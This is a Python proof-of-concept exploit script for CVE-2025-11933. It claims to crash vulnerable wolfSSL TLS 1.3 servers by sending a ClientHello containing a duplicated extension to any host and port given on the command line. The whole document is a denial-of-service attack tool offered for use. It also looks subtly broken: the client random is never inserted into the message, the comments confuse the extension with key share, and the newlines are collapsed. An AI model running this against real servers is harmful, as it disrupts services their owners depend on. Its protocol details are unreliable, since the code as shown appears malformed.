CVE-2025-11933

#!/usr/bin/env python3 """ CVE-2025-11933 PoC - wolfSSL TLS 1.3 CKS Extension DoS This PoC demonstrates sending a crafted ClientHello with duplicate CKS extensions to trigger a denial of service in vulnerable wolfSSL versions. """ import socket import struct import random def build_tls_record(content_type, version, payload): """Build a TLS record""" record = bytes([content_type]) + version + struct.pack('>H', len(payload)) + payload return record def build_extension(ext_type, ext_data): """Build a TLS extension""" return struct.pack('>HH', ext_type, len(ext_data)) + ext_data def build_duplicate_cks_client_hello(): """ Build a ClientHello with duplicate CKS extensions to trigger CVE-2025-11933 CKS Extension Type is 40 (0x0028) in draft spec """ # TLS 1.3 uses 0x0303 for ClientHello version (legacy) client_version = b'\x03\x03' # Random 32-byte client random client_random = bytes([random.randint(0, 255) for _ in range(32)]) # Session ID session_id = bytes([random.randint(0, 255) for _ in range(16)]) # Cipher suites - TLS 1.3 cipher suites cipher_suites = b'\x13\x01\x13\x02' # TLS_AES_128_GCM_SHA256, TLS_AES_256_GCM_SHA384 # Compression methods compression = b'\x01\x00' # Build CKS extension (type 40, 0x0028) # Key Share extension with empty or minimal data ks_payload = b'\x00' * 4 # Minimal key share data cks_ext = build_extension(0x0028, ks_payload) # Duplicate the CKS extension to trigger the vulnerability extensions = cks_ext + cks_ext # Build extensions length extensions_data = struct.pack('>H', len(extensions)) + extensions # Build ClientHello body client_hello_body = (client_version + bytes([len(session_id)]) + session_id + struct.pack('>H', len(cipher_suites)) + cipher_suites + bytes([len(compression)]) + compression + extensions_data) # ClientHello message client_hello = bytes([0x01]) + struct.pack('>I', len(client_hello_body))[1:] + client_hello_body # Handshake message hash (simplified - just use raw for PoC) handshake_hash = bytes([0x00] * 32) return client_hello, handshake_hash def send_malicious_client_hello(target_host, target_port=443): """ Send a crafted ClientHello with duplicate CKS extensions to trigger CVE-2025-11933 in vulnerable wolfSSL servers """ print(f"[*] Building malicious ClientHello with duplicate CKS extensions...") client_hello, handshake_hash = build_duplicate_cks_client_hello() # Build TLS record (ContentType=22 for Handshake) tls_record = build_tls_record(0x16, b'\x03\x01', client_hello) print(f"[*] Connecting to {target_host}:{target_port}...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print(f"[*] Sending crafted ClientHello...") sock.send(tls_record) print(f"[*] Payload sent, waiting for response...") # Try to receive response try: response = sock.recv(4096) print(f"[!] Received response (server may not be vulnerable): {response[:100]}") except socket.timeout: print(f"[+] No response received (possible DoS triggered)") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 send_malicious_client_hello(target, port)

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